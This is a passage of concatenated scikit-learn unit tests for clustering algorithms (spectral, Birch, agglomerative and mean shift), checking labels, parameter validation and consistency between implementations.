    assert_raises(ValueError, model.fit, data)

    model = SpectralBiclustering(n_components=0)
    assert_raises(ValueError, model.fit, data)

    model = SpectralBiclustering(n_best=0)
    assert_raises(ValueError, model.fit, data)

    model = SpectralBiclustering(n_components=3, n_best=4)
    assert_raises(ValueError, model.fit, data)

    model = SpectralBiclustering()
    data = np.arange(27).reshape((3, 3, 3))
    assert_raises(ValueError, model.fit, data)






"""Testing for Spectral Clustering methods"""

from sklearn.externals.six.moves import cPickle

dumps, loads = cPickle.dumps, cPickle.loads

import numpy as np
from scipy import sparse

from sklearn.utils import check_random_state
from sklearn.utils.testing import assert_equal
from sklearn.utils.testing import assert_array_equal
from sklearn.utils.testing import assert_raises
from sklearn.utils.testing import assert_greater
from sklearn.utils.testing import assert_warns_message

from sklearn.cluster import SpectralClustering, spectral_clustering
from sklearn.cluster.spectral import spectral_embedding
from sklearn.cluster.spectral import discretize
from sklearn.metrics import pairwise_distances
from sklearn.metrics import adjusted_rand_score
from sklearn.metrics.pairwise import kernel_metrics, rbf_kernel
from sklearn.datasets.samples_generator import make_blobs


def test_spectral_clustering():
    S = np.array([[1.0, 1.0, 1.0, 0.2, 0.0, 0.0, 0.0],
                  [1.0, 1.0, 1.0, 0.2, 0.0, 0.0, 0.0],
                  [1.0, 1.0, 1.0, 0.2, 0.0, 0.0, 0.0],
                  [0.2, 0.2, 0.2, 1.0, 1.0, 1.0, 1.0],
                  [0.0, 0.0, 0.0, 1.0, 1.0, 1.0, 1.0],
                  [0.0, 0.0, 0.0, 1.0, 1.0, 1.0, 1.0],
                  [0.0, 0.0, 0.0, 1.0, 1.0, 1.0, 1.0]])

    for eigen_solver in ('arpack', 'lobpcg'):
        for assign_labels in ('kmeans', 'discretize'):
            for mat in (S, sparse.csr_matrix(S)):
                model = SpectralClustering(random_state=0, n_clusters=2,
                                           affinity='precomputed',
                                           eigen_solver=eigen_solver,
                                           assign_labels=assign_labels
                                          ).fit(mat)
                labels = model.labels_
                if labels[0] == 0:
                    labels = 1 - labels

                assert_array_equal(labels, [1, 1, 1, 0, 0, 0, 0])

                model_copy = loads(dumps(model))
                assert_equal(model_copy.n_clusters, model.n_clusters)
                assert_equal(model_copy.eigen_solver, model.eigen_solver)
                assert_array_equal(model_copy.labels_, model.labels_)


def test_spectral_amg_mode():
    # Test the amg mode of SpectralClustering
    centers = np.array([
        [0., 0., 0.],
        [10., 10., 10.],
        [20., 20., 20.],
    ])
    X, true_labels = make_blobs(n_samples=100, centers=centers,
                                cluster_std=1., random_state=42)
    D = pairwise_distances(X)  # Distance matrix
    S = np.max(D) - D  # Similarity matrix
    S = sparse.coo_matrix(S)
    try:
        from pyamg import smoothed_aggregation_solver

        amg_loaded = True
    except ImportError:
        amg_loaded = False
    if amg_loaded:
        labels = spectral_clustering(S, n_clusters=len(centers),
                                     random_state=0, eigen_solver="amg")
        # We don't care too much that it's good, just that it *worked*.
        # There does have to be some lower limit on the performance though.
        assert_greater(np.mean(labels == true_labels), .3)
    else:
        assert_raises(ValueError, spectral_embedding, S,
                      n_components=len(centers),
                      random_state=0, eigen_solver="amg")


def test_spectral_unknown_mode():
    # Test that SpectralClustering fails with an unknown mode set.
    centers = np.array([
        [0., 0., 0.],
        [10., 10., 10.],
        [20., 20., 20.],
    ])
    X, true_labels = make_blobs(n_samples=100, centers=centers,
                                cluster_std=1., random_state=42)
    D = pairwise_distances(X)  # Distance matrix
    S = np.max(D) - D  # Similarity matrix
    S = sparse.coo_matrix(S)
    assert_raises(ValueError, spectral_clustering, S, n_clusters=2,
                  random_state=0, eigen_solver="<unknown>")


def test_spectral_unknown_assign_labels():
    # Test that SpectralClustering fails with an unknown assign_labels set.
    centers = np.array([
        [0., 0., 0.],
        [10., 10., 10.],
        [20., 20., 20.],
    ])
    X, true_labels = make_blobs(n_samples=100, centers=centers,
                                cluster_std=1., random_state=42)
    D = pairwise_distances(X)  # Distance matrix
    S = np.max(D) - D  # Similarity matrix
    S = sparse.coo_matrix(S)
    assert_raises(ValueError, spectral_clustering, S, n_clusters=2,
                  random_state=0, assign_labels="<unknown>")


def test_spectral_clustering_sparse():
    X, y = make_blobs(n_samples=20, random_state=0,
                      centers=[[1, 1], [-1, -1]], cluster_std=0.01)

    S = rbf_kernel(X, gamma=1)
    S = np.maximum(S - 1e-4, 0)
    S = sparse.coo_matrix(S)

    labels = SpectralClustering(random_state=0, n_clusters=2,
                                affinity='precomputed').fit(S).labels_
    assert_equal(adjusted_rand_score(y, labels), 1)


def test_affinities():
    # Note: in the following, random_state has been selected to have
    # a dataset that yields a stable eigen decomposition both when built
    # on OSX and Linux
    X, y = make_blobs(n_samples=20, random_state=0,
                      centers=[[1, 1], [-1, -1]], cluster_std=0.01
                     )
    # nearest neighbors affinity
    sp = SpectralClustering(n_clusters=2, affinity='nearest_neighbors',
                            random_state=0)
    assert_warns_message(UserWarning, 'not fully connected', sp.fit, X)
    assert_equal(adjusted_rand_score(y, sp.labels_), 1)

    sp = SpectralClustering(n_clusters=2, gamma=2, random_state=0)
    labels = sp.fit(X).labels_
    assert_equal(adjusted_rand_score(y, labels), 1)

    X = check_random_state(10).rand(10, 5) * 10

    kernels_available = kernel_metrics()
    for kern in kernels_available:
        # Additive chi^2 gives a negative similarity matrix which
        # doesn't make sense for spectral clustering
        if kern != 'additive_chi2':
            sp = SpectralClustering(n_clusters=2, affinity=kern,
                                    random_state=0)
            labels = sp.fit(X).labels_
            assert_equal((X.shape[0],), labels.shape)

    sp = SpectralClustering(n_clusters=2, affinity=lambda x, y: 1,
                            random_state=0)
    labels = sp.fit(X).labels_
    assert_equal((X.shape[0],), labels.shape)

    def histogram(x, y, **kwargs):
        # Histogram kernel implemented as a callable.
        assert_equal(kwargs, {})    # no kernel_params that we didn't ask for
        return np.minimum(x, y).sum()

    sp = SpectralClustering(n_clusters=2, affinity=histogram, random_state=0)
    labels = sp.fit(X).labels_
    assert_equal((X.shape[0],), labels.shape)

    # raise error on unknown affinity
    sp = SpectralClustering(n_clusters=2, affinity='<unknown>')
    assert_raises(ValueError, sp.fit, X)


def test_discretize(seed=8):
    # Test the discretize using a noise assignment matrix
    random_state = np.random.RandomState(seed)
    for n_samples in [50, 100, 150, 500]:
        for n_class in range(2, 10):
            # random class labels
            y_true = random_state.randint(0, n_class + 1, n_samples)
            y_true = np.array(y_true, np.float)
            # noise class assignment matrix
            y_indicator = sparse.coo_matrix((np.ones(n_samples),
                                             (np.arange(n_samples),
                                              y_true)),
                                            shape=(n_samples,
                                                   n_class + 1))
            y_true_noisy = (y_indicator.toarray()
                            + 0.1 * random_state.randn(n_samples,
                                                       n_class + 1))
            y_pred = discretize(y_true_noisy, random_state)
            assert_greater(adjusted_rand_score(y_true, y_pred), 0.8)






"""
Tests for the birch clustering algorithm.
"""

from scipy import sparse
import numpy as np

from sklearn.cluster.tests.common import generate_clustered_data
from sklearn.cluster.birch import Birch
from sklearn.cluster.hierarchical import AgglomerativeClustering
from sklearn.datasets import make_blobs
from sklearn.linear_model import ElasticNet
from sklearn.metrics import pairwise_distances_argmin, v_measure_score

from sklearn.utils.testing import assert_greater_equal
from sklearn.utils.testing import assert_equal
from sklearn.utils.testing import assert_greater
from sklearn.utils.testing import assert_almost_equal
from sklearn.utils.testing import assert_array_equal
from sklearn.utils.testing import assert_raises
from sklearn.utils.testing import assert_warns


def test_n_samples_leaves_roots():
    # Sanity check for the number of samples in leaves and roots
    X, y = make_blobs(n_samples=10)
    brc = Birch()
    brc.fit(X)
    n_samples_root = sum([sc.n_samples_ for sc in brc.root_.subclusters_])
    n_samples_leaves = sum([sc.n_samples_ for leaf in brc._get_leaves()
                            for sc in leaf.subclusters_])
    assert_equal(n_samples_leaves, X.shape[0])
    assert_equal(n_samples_root, X.shape[0])


def test_partial_fit():
    # Test that fit is equivalent to calling partial_fit multiple times
    X, y = make_blobs(n_samples=100)
    brc = Birch(n_clusters=3)
    brc.fit(X)
    brc_partial = Birch(n_clusters=None)
    brc_partial.partial_fit(X[:50])
    brc_partial.partial_fit(X[50:])
    assert_array_equal(brc_partial.subcluster_centers_,
                       brc.subcluster_centers_)

    # Test that same global labels are obtained after calling partial_fit
    # with None
    brc_partial.set_params(n_clusters=3)
    brc_partial.partial_fit(None)
    assert_array_equal(brc_partial.subcluster_labels_, brc.subcluster_labels_)


def test_birch_predict():
    # Test the predict method predicts the nearest centroid.
    rng = np.random.RandomState(0)
    X = generate_clustered_data(n_clusters=3, n_features=3,
                                n_samples_per_cluster=10)

    # n_samples * n_samples_per_cluster
    shuffle_indices = np.arange(30)
    rng.shuffle(shuffle_indices)
    X_shuffle = X[shuffle_indices, :]
    brc = Birch(n_clusters=4, threshold=1.)
    brc.fit(X_shuffle)
    centroids = brc.subcluster_centers_
    assert_array_equal(brc.labels_, brc.predict(X_shuffle))
    nearest_centroid = pairwise_distances_argmin(X_shuffle, centroids)
    assert_almost_equal(v_measure_score(nearest_centroid, brc.labels_), 1.0)


def test_n_clusters():
    # Test that n_clusters param works properly
    X, y = make_blobs(n_samples=100, centers=10)
    brc1 = Birch(n_clusters=10)
    brc1.fit(X)
    assert_greater(len(brc1.subcluster_centers_), 10)
    assert_equal(len(np.unique(brc1.labels_)), 10)

    # Test that n_clusters = Agglomerative Clustering gives
    # the same results.
    gc = AgglomerativeClustering(n_clusters=10)
    brc2 = Birch(n_clusters=gc)
    brc2.fit(X)
    assert_array_equal(brc1.subcluster_labels_, brc2.subcluster_labels_)
    assert_array_equal(brc1.labels_, brc2.labels_)

    # Test that the wrong global clustering step raises an Error.
    clf = ElasticNet()
    brc3 = Birch(n_clusters=clf)
    assert_raises(ValueError, brc3.fit, X)

    # Test that a small number of clusters raises a warning.
    brc4 = Birch(threshold=10000.)
    assert_warns(UserWarning, brc4.fit, X)


def test_sparse_X():
    # Test that sparse and dense data give same results
    X, y = make_blobs(n_samples=100, centers=10)
    brc = Birch(n_clusters=10)
    brc.fit(X)

    csr = sparse.csr_matrix(X)
    brc_sparse = Birch(n_clusters=10)
    brc_sparse.fit(csr)

    assert_array_equal(brc.labels_, brc_sparse.labels_)
    assert_array_equal(brc.subcluster_centers_,
                       brc_sparse.subcluster_centers_)


def check_branching_factor(node, branching_factor):
    subclusters = node.subclusters_
    assert_greater_equal(branching_factor, len(subclusters))
    for cluster in subclusters:
        if cluster.child_:
            check_branching_factor(cluster.child_, branching_factor)


def test_branching_factor():
    # Test that nodes have at max branching_factor number of subclusters
    X, y = make_blobs()
    branching_factor = 9

    # Purposefully set a low threshold to maximize the subclusters.
    brc = Birch(n_clusters=None, branching_factor=branching_factor,
                threshold=0.01)
    brc.fit(X)
    check_branching_factor(brc.root_, branching_factor)
    brc = Birch(n_clusters=3, branching_factor=branching_factor,
                threshold=0.01)
    brc.fit(X)
    check_branching_factor(brc.root_, branching_factor)

    # Raises error when branching_factor is set to one.
    brc = Birch(n_clusters=None, branching_factor=1, threshold=0.01)
    assert_raises(ValueError, brc.fit, X)


def check_threshold(birch_instance, threshold):
    """Use the leaf linked list for traversal"""
    current_leaf = birch_instance.dummy_leaf_.next_leaf_
    while current_leaf:
        subclusters = current_leaf.subclusters_
        for sc in subclusters:
            assert_greater_equal(threshold, sc.radius)
        current_leaf = current_leaf.next_leaf_


def test_threshold():
    # Test that the leaf subclusters have a threshold lesser than radius
    X, y = make_blobs(n_samples=80, centers=4)
    brc = Birch(threshold=0.5, n_clusters=None)
    brc.fit(X)
    check_threshold(brc, 0.5)

    brc = Birch(threshold=5.0, n_clusters=None)
    brc.fit(X)
    check_threshold(brc, 5.)












"""
Common utilities for testing clustering.

"""

import numpy as np


###############################################################################
# Generate sample data

def generate_clustered_data(seed=0, n_clusters=3, n_features=2,
                            n_samples_per_cluster=20, std=.4):
    prng = np.random.RandomState(seed)

    # the data is voluntary shifted away from zero to check clustering
    # algorithm robustness with regards to non centered data
    means = np.array([[1, 1, 1, 0],
                      [-1, -1, 0, 1],
                      [1, -1, 1, 1],
                      [-1, 1, 1, 0],
                     ]) + 10

    X = np.empty((0, n_features))
    for i in range(n_clusters):
        X = np.r_[X, means[i][:n_features]
                  + std * prng.randn(n_samples_per_cluster, n_features)]
    return X






"""
Several basic tests for hierarchical clustering procedures

"""
# Authors: Vincent Michel, 2010, Gael Varoquaux 2012,
#          Matteo Visconti di Oleggio Castello 2014
# License: BSD 3 clause
from tempfile import mkdtemp
import shutil
from functools import partial

import numpy as np
from scipy import sparse
from scipy.cluster import hierarchy

from sklearn.utils.testing import assert_true
from sklearn.utils.testing import assert_raises
from sklearn.utils.testing import assert_equal
from sklearn.utils.testing import assert_almost_equal
from sklearn.utils.testing import assert_array_almost_equal
from sklearn.utils.testing import assert_raise_message
from sklearn.utils.testing import ignore_warnings

from sklearn.cluster import ward_tree
from sklearn.cluster import AgglomerativeClustering, FeatureAgglomeration
from sklearn.cluster.hierarchical import (_hc_cut, _TREE_BUILDERS,
                                          linkage_tree)
from sklearn.feature_extraction.image import grid_to_graph
from sklearn.metrics.pairwise import PAIRED_DISTANCES, cosine_distances,\
    manhattan_distances, pairwise_distances
from sklearn.metrics.cluster import normalized_mutual_info_score
from sklearn.neighbors.graph import kneighbors_graph
from sklearn.cluster._hierarchical import average_merge, max_merge
from sklearn.utils.fast_dict import IntFloatDict
from sklearn.utils.testing import assert_array_equal
from sklearn.utils.testing import assert_warns


def test_linkage_misc():
    # Misc tests on linkage
    rng = np.random.RandomState(42)
    X = rng.normal(size=(5, 5))
    assert_raises(ValueError, AgglomerativeClustering(linkage='foo').fit, X)
    assert_raises(ValueError, linkage_tree, X, linkage='foo')
    assert_raises(ValueError, linkage_tree, X, connectivity=np.ones((4, 4)))

    # Smoke test FeatureAgglomeration
    FeatureAgglomeration().fit(X)

    # test hierarchical clustering on a precomputed distances matrix
    dis = cosine_distances(X)

    res = linkage_tree(dis, affinity="precomputed")
    assert_array_equal(res[0], linkage_tree(X, affinity="cosine")[0])

    # test hierarchical clustering on a precomputed distances matrix
    res = linkage_tree(X, affinity=manhattan_distances)
    assert_array_equal(res[0], linkage_tree(X, affinity="manhattan")[0])


def test_structured_linkage_tree():
    # Check that we obtain the correct solution for structured linkage trees.
    rng = np.random.RandomState(0)
    mask = np.ones([10, 10], dtype=np.bool)
    # Avoiding a mask with only 'True' entries
    mask[4:7, 4:7] = 0
    X = rng.randn(50, 100)
    connectivity = grid_to_graph(*mask.shape)
    for tree_builder in _TREE_BUILDERS.values():
        children, n_components, n_leaves, parent = \
            tree_builder(X.T, connectivity)
        n_nodes = 2 * X.shape[1] - 1
        assert_true(len(children) + n_leaves == n_nodes)
        # Check that ward_tree raises a ValueError with a connectivity matrix
        # of the wrong shape
        assert_raises(ValueError,
                      tree_builder, X.T, np.ones((4, 4)))
        # Check that fitting with no samples raises an error
        assert_raises(ValueError,
                      tree_builder, X.T[:0], connectivity)


def test_unstructured_linkage_tree():
    # Check that we obtain the correct solution for unstructured linkage trees.
    rng = np.random.RandomState(0)
    X = rng.randn(50, 100)
    for this_X in (X, X[0]):
        # With specified a number of clusters just for the sake of
        # raising a warning and testing the warning code
        with ignore_warnings():
            children, n_nodes, n_leaves, parent = assert_warns(
                UserWarning, ward_tree, this_X.T, n_clusters=10)
        n_nodes = 2 * X.shape[1] - 1
        assert_equal(len(children) + n_leaves, n_nodes)

    for tree_builder in _TREE_BUILDERS.values():
        for this_X in (X, X[0]):
            with ignore_warnings():
                children, n_nodes, n_leaves, parent = assert_warns(
                    UserWarning, tree_builder, this_X.T, n_clusters=10)

            n_nodes = 2 * X.shape[1] - 1
            assert_equal(len(children) + n_leaves, n_nodes)


def test_height_linkage_tree():
    # Check that the height of the results of linkage tree is sorted.
    rng = np.random.RandomState(0)
    mask = np.ones([10, 10], dtype=np.bool)
    X = rng.randn(50, 100)
    connectivity = grid_to_graph(*mask.shape)
    for linkage_func in _TREE_BUILDERS.values():
        children, n_nodes, n_leaves, parent = linkage_func(X.T, connectivity)
        n_nodes = 2 * X.shape[1] - 1
        assert_true(len(children) + n_leaves == n_nodes)


def test_agglomerative_clustering():
    # Check that we obtain the correct number of clusters with
    # agglomerative clustering.
    rng = np.random.RandomState(0)
    mask = np.ones([10, 10], dtype=np.bool)
    n_samples = 100
    X = rng.randn(n_samples, 50)
    connectivity = grid_to_graph(*mask.shape)
    for linkage in ("ward", "complete", "average"):
        clustering = AgglomerativeClustering(n_clusters=10,
                                             connectivity=connectivity,
                                             linkage=linkage)
        clustering.fit(X)
        # test caching
        try:
            tempdir = mkdtemp()
            clustering = AgglomerativeClustering(
                n_clusters=10, connectivity=connectivity,
                memory=tempdir,
                linkage=linkage)
            clustering.fit(X)
            labels = clustering.labels_
            assert_true(np.size(np.unique(labels)) == 10)
        finally:
            shutil.rmtree(tempdir)
        # Turn caching off now
        clustering = AgglomerativeClustering(
            n_clusters=10, connectivity=connectivity, linkage=linkage)
        # Check that we obtain the same solution with early-stopping of the
        # tree building
        clustering.compute_full_tree = False
        clustering.fit(X)
        assert_almost_equal(normalized_mutual_info_score(clustering.labels_,
                                                         labels), 1)
        clustering.connectivity = None
        clustering.fit(X)
        assert_true(np.size(np.unique(clustering.labels_)) == 10)
        # Check that we raise a TypeError on dense matrices
        clustering = AgglomerativeClustering(
            n_clusters=10,
            connectivity=sparse.lil_matrix(
                connectivity.toarray()[:10, :10]),
            linkage=linkage)
        assert_raises(ValueError, clustering.fit, X)

    # Test that using ward with another metric than euclidean raises an
    # exception
    clustering = AgglomerativeClustering(
        n_clusters=10,
        connectivity=connectivity.toarray(),
        affinity="manhattan",
        linkage="ward")
    assert_raises(ValueError, clustering.fit, X)

    # Test using another metric than euclidean works with linkage complete
    for affinity in PAIRED_DISTANCES.keys():
        # Compare our (structured) implementation to scipy
        clustering = AgglomerativeClustering(
            n_clusters=10,
            connectivity=np.ones((n_samples, n_samples)),
            affinity=affinity,
            linkage="complete")
        clustering.fit(X)
        clustering2 = AgglomerativeClustering(
            n_clusters=10,
            connectivity=None,
            affinity=affinity,
            linkage="complete")
        clustering2.fit(X)
        assert_almost_equal(normalized_mutual_info_score(clustering2.labels_,
                                                         clustering.labels_),
                            1)

    # Test that using a distance matrix (affinity = 'precomputed') has same
    # results (with connectivity constraints)
    clustering = AgglomerativeClustering(n_clusters=10,
                                         connectivity=connectivity,
                                         linkage="complete")
    clustering.fit(X)
    X_dist = pairwise_distances(X)
    clustering2 = AgglomerativeClustering(n_clusters=10,
                                          connectivity=connectivity,
                                          affinity='precomputed',
                                          linkage="complete")
    clustering2.fit(X_dist)
    assert_array_equal(clustering.labels_, clustering2.labels_)


def test_ward_agglomeration():
    # Check that we obtain the correct solution in a simplistic case
    rng = np.random.RandomState(0)
    mask = np.ones([10, 10], dtype=np.bool)
    X = rng.randn(50, 100)
    connectivity = grid_to_graph(*mask.shape)
    agglo = FeatureAgglomeration(n_clusters=5, connectivity=connectivity)
    agglo.fit(X)
    assert_true(np.size(np.unique(agglo.labels_)) == 5)

    X_red = agglo.transform(X)
    assert_true(X_red.shape[1] == 5)
    X_full = agglo.inverse_transform(X_red)
    assert_true(np.unique(X_full[0]).size == 5)
    assert_array_almost_equal(agglo.transform(X_full), X_red)

    # Check that fitting with no samples raises a ValueError
    assert_raises(ValueError, agglo.fit, X[:0])


def assess_same_labelling(cut1, cut2):
    """Util for comparison with scipy"""
    co_clust = []
    for cut in [cut1, cut2]:
        n = len(cut)
        k = cut.max() + 1
        ecut = np.zeros((n, k))
        ecut[np.arange(n), cut] = 1
        co_clust.append(np.dot(ecut, ecut.T))
    assert_true((co_clust[0] == co_clust[1]).all())


def test_scikit_vs_scipy():
    # Test scikit linkage with full connectivity (i.e. unstructured) vs scipy
    n, p, k = 10, 5, 3
    rng = np.random.RandomState(0)

    # Not using a lil_matrix here, just to check that non sparse
    # matrices are well handled
    connectivity = np.ones((n, n))
    for linkage in _TREE_BUILDERS.keys():
        for i in range(5):
            X = .1 * rng.normal(size=(n, p))
            X -= 4. * np.arange(n)[:, np.newaxis]
            X -= X.mean(axis=1)[:, np.newaxis]

            out = hierarchy.linkage(X, method=linkage)

            children_ = out[:, :2].astype(np.int)
            children, _, n_leaves, _ = _TREE_BUILDERS[linkage](X, connectivity)

            cut = _hc_cut(k, children, n_leaves)
            cut_ = _hc_cut(k, children_, n_leaves)
            assess_same_labelling(cut, cut_)

    # Test error management in _hc_cut
    assert_raises(ValueError, _hc_cut, n_leaves + 1, children, n_leaves)


def test_connectivity_propagation():
    # Check that connectivity in the ward tree is propagated correctly during
    # merging.
    X = np.array([(.014, .120), (.014, .099), (.014, .097),
                  (.017, .153), (.017, .153), (.018, .153),
                  (.018, .153), (.018, .153), (.018, .153),
                  (.018, .153), (.018, .153), (.018, .153),
                  (.018, .152), (.018, .149), (.018, .144)])
    connectivity = kneighbors_graph(X, 10, include_self=False)
    ward = AgglomerativeClustering(
        n_clusters=4, connectivity=connectivity, linkage='ward')
    # If changes are not propagated correctly, fit crashes with an
    # IndexError
    ward.fit(X)


def test_ward_tree_children_order():
    # Check that children are ordered in the same way for both structured and
    # unstructured versions of ward_tree.

    # test on five random datasets
    n, p = 10, 5
    rng = np.random.RandomState(0)

    connectivity = np.ones((n, n))
    for i in range(5):
        X = .1 * rng.normal(size=(n, p))
        X -= 4. * np.arange(n)[:, np.newaxis]
        X -= X.mean(axis=1)[:, np.newaxis]

        out_unstructured = ward_tree(X)
        out_structured = ward_tree(X, connectivity=connectivity)

        assert_array_equal(out_unstructured[0], out_structured[0])


def test_ward_linkage_tree_return_distance():
    # Test return_distance option on linkage and ward trees

    # test that return_distance when set true, gives same
    # output on both structured and unstructured clustering.
    n, p = 10, 5
    rng = np.random.RandomState(0)

    connectivity = np.ones((n, n))
    for i in range(5):
        X = .1 * rng.normal(size=(n, p))
        X -= 4. * np.arange(n)[:, np.newaxis]
        X -= X.mean(axis=1)[:, np.newaxis]

        out_unstructured = ward_tree(X, return_distance=True)
        out_structured = ward_tree(X, connectivity=connectivity,
                                   return_distance=True)

        # get children
        children_unstructured = out_unstructured[0]
        children_structured = out_structured[0]

        # check if we got the same clusters
        assert_array_equal(children_unstructured, children_structured)

        # check if the distances are the same
        dist_unstructured = out_unstructured[-1]
        dist_structured = out_structured[-1]

        assert_array_almost_equal(dist_unstructured, dist_structured)

        for linkage in ['average', 'complete']:
            structured_items = linkage_tree(
                X, connectivity=connectivity, linkage=linkage,
                return_distance=True)[-1]
            unstructured_items = linkage_tree(
                X, linkage=linkage, return_distance=True)[-1]
            structured_dist = structured_items[-1]
            unstructured_dist = unstructured_items[-1]
            structured_children = structured_items[0]
            unstructured_children = unstructured_items[0]
            assert_array_almost_equal(structured_dist, unstructured_dist)
            assert_array_almost_equal(
                structured_children, unstructured_children)

    # test on the following dataset where we know the truth
    # taken from scipy/cluster/tests/hierarchy_test_data.py
    X = np.array([[1.43054825, -7.5693489],
                  [6.95887839, 6.82293382],
                  [2.87137846, -9.68248579],
                  [7.87974764, -6.05485803],
                  [8.24018364, -6.09495602],
                  [7.39020262, 8.54004355]])
    # truth
    linkage_X_ward = np.array([[3., 4., 0.36265956, 2.],
                               [1., 5., 1.77045373, 2.],
                               [0., 2., 2.55760419, 2.],
                               [6., 8., 9.10208346, 4.],
                               [7., 9., 24.7784379, 6.]])

    linkage_X_complete = np.array(
        [[3., 4., 0.36265956, 2.],
         [1., 5., 1.77045373, 2.],
         [0., 2., 2.55760419, 2.],
         [6., 8., 6.96742194, 4.],
         [7., 9., 18.77445997, 6.]])

    linkage_X_average = np.array(
        [[3., 4., 0.36265956, 2.],
         [1., 5., 1.77045373, 2.],
         [0., 2., 2.55760419, 2.],
         [6., 8., 6.55832839, 4.],
         [7., 9., 15.44089605, 6.]])

    n_samples, n_features = np.shape(X)
    connectivity_X = np.ones((n_samples, n_samples))

    out_X_unstructured = ward_tree(X, return_distance=True)
    out_X_structured = ward_tree(X, connectivity=connectivity_X,
                                 return_distance=True)

    # check that the labels are the same
    assert_array_equal(linkage_X_ward[:, :2], out_X_unstructured[0])
    assert_array_equal(linkage_X_ward[:, :2], out_X_structured[0])

    # check that the distances are correct
    assert_array_almost_equal(linkage_X_ward[:, 2], out_X_unstructured[4])
    assert_array_almost_equal(linkage_X_ward[:, 2], out_X_structured[4])

    linkage_options = ['complete', 'average']
    X_linkage_truth = [linkage_X_complete, linkage_X_average]
    for (linkage, X_truth) in zip(linkage_options, X_linkage_truth):
        out_X_unstructured = linkage_tree(
            X, return_distance=True, linkage=linkage)
        out_X_structured = linkage_tree(
            X, connectivity=connectivity_X, linkage=linkage,
            return_distance=True)

        # check that the labels are the same
        assert_array_equal(X_truth[:, :2], out_X_unstructured[0])
        assert_array_equal(X_truth[:, :2], out_X_structured[0])

        # check that the distances are correct
        assert_array_almost_equal(X_truth[:, 2], out_X_unstructured[4])
        assert_array_almost_equal(X_truth[:, 2], out_X_structured[4])


def test_connectivity_fixing_non_lil():
    # Check non regression of a bug if a non item assignable connectivity is
    # provided with more than one component.
    # create dummy data
    x = np.array([[0, 0], [1, 1]])
    # create a mask with several components to force connectivity fixing
    m = np.array([[True, False], [False, True]])
    c = grid_to_graph(n_x=2, n_y=2, mask=m)
    w = AgglomerativeClustering(connectivity=c, linkage='ward')
    assert_warns(UserWarning, w.fit, x)


def test_int_float_dict():
    rng = np.random.RandomState(0)
    keys = np.unique(rng.randint(100, size=10).astype(np.intp))
    values = rng.rand(len(keys))

    d = IntFloatDict(keys, values)
    for key, value in zip(keys, values):
        assert d[key] == value

    other_keys = np.arange(50).astype(np.intp)[::2]
    other_values = 0.5 * np.ones(50)[::2]
    other = IntFloatDict(other_keys, other_values)
    # Complete smoke test
    max_merge(d, other, mask=np.ones(100, dtype=np.intp), n_a=1, n_b=1)
    average_merge(d, other, mask=np.ones(100, dtype=np.intp), n_a=1, n_b=1)


def test_connectivity_callable():
    rng = np.random.RandomState(0)
    X = rng.rand(20, 5)
    connectivity = kneighbors_graph(X, 3, include_self=False)
    aglc1 = AgglomerativeClustering(connectivity=connectivity)
    aglc2 = AgglomerativeClustering(
        connectivity=partial(kneighbors_graph, n_neighbors=3, include_self=False))
    aglc1.fit(X)
    aglc2.fit(X)
    assert_array_equal(aglc1.labels_, aglc2.labels_)


def test_connectivity_ignores_diagonal():
    rng = np.random.RandomState(0)
    X = rng.rand(20, 5)
    connectivity = kneighbors_graph(X, 3, include_self=False)
    connectivity_include_self = kneighbors_graph(X, 3, include_self=True)
    aglc1 = AgglomerativeClustering(connectivity=connectivity)
    aglc2 = AgglomerativeClustering(connectivity=connectivity_include_self)
    aglc1.fit(X)
    aglc2.fit(X)
    assert_array_equal(aglc1.labels_, aglc2.labels_)


def test_compute_full_tree():
    # Test that the full tree is computed if n_clusters is small
    rng = np.random.RandomState(0)
    X = rng.randn(10, 2)
    connectivity = kneighbors_graph(X, 5, include_self=False)

    # When n_clusters is less, the full tree should be built
    # that is the number of merges should be n_samples - 1
    agc = AgglomerativeClustering(n_clusters=2, connectivity=connectivity)
    agc.fit(X)
    n_samples = X.shape[0]
    n_nodes = agc.children_.shape[0]
    assert_equal(n_nodes, n_samples - 1)

    # When n_clusters is large, greater than max of 100 and 0.02 * n_samples.
    # we should stop when there are n_clusters.
    n_clusters = 101
    X = rng.randn(200, 2)
    connectivity = kneighbors_graph(X, 10, include_self=False)
    agc = AgglomerativeClustering(n_clusters=n_clusters,
                                  connectivity=connectivity)
    agc.fit(X)
    n_samples = X.shape[0]
    n_nodes = agc.children_.shape[0]
    assert_equal(n_nodes, n_samples - n_clusters)


def test_n_components():
    # Test n_components returned by linkage, average and ward tree
    rng = np.random.RandomState(0)
    X = rng.rand(5, 5)

    # Connectivity matrix having five components.
    connectivity = np.eye(5)

    for linkage_func in _TREE_BUILDERS.values():
        assert_equal(ignore_warnings(linkage_func)(X, connectivity)[1], 5)


def test_agg_n_clusters():
    # Test that an error is raised when n_clusters <= 0

    rng = np.random.RandomState(0)
    X = rng.rand(20, 10)
    for n_clus in [-1, 0]:
        agc = AgglomerativeClustering(n_clusters=n_clus)
        msg = ("n_clusters should be an integer greater than 0."
               " %s was provided." % str(agc.n_clusters))
        assert_raise_message(ValueError, msg, agc.fit, X)






"""
Testing for mean shift clustering methods

"""

import numpy as np
import warnings

from sklearn.utils.testing import assert_equal
from sklearn.utils.testing import assert_false
from sklearn.utils.testing import assert_true
from sklearn.utils.testing import assert_array_equal
from sklearn.utils.testing import assert_raise_message

from sklearn.cluster import MeanShift
from sklearn.cluster import mean_shift
from sklearn.cluster import estimate_bandwidth
from sklearn.cluster import get_bin_seeds
from sklearn.datasets.samples_generator import make_blobs


n_clusters = 3
centers = np.array([[1, 1], [-1, -1], [1, -1]]) + 10
X, _ = make_blobs(n_samples=300, n_features=2, centers=centers,
                  cluster_std=0.4, shuffle=True, random_state=11)


def test_estimate_bandwidth():
    # Test estimate_bandwidth
    bandwidth = estimate_bandwidth(X, n_samples=200)
    assert_true(0.9 <= bandwidth <= 1.5)


def test_mean_shift():
    # Test MeanShift algorithm
    bandwidth = 1.2

    ms = MeanShift(bandwidth=bandwidth)
    labels = ms.fit(X).labels_
    labels_unique = np.unique(labels)
    n_clusters_ = len(labels_unique)
    assert_equal(n_clusters_, n_clusters)

    cluster_centers, labels = mean_shift(X, bandwidth=bandwidth)
    labels_unique = np.unique(labels)
    n_clusters_ = len(labels_unique)
    assert_equal(n_clusters_, n_clusters)


def test_parallel():
    ms1 = MeanShift(n_jobs=2)
    ms1.fit(X)

    ms2 = MeanShift()
    ms2.fit(X)

    assert_array_equal(ms1.cluster_centers_, ms2.cluster_centers_)
    assert_array_equal(ms1.labels_, ms2.labels_)


def test_meanshift_predict():
    # Test MeanShift.predict
    ms = MeanShift(bandwidth=1.2)
    labels = ms.fit_predict(X)
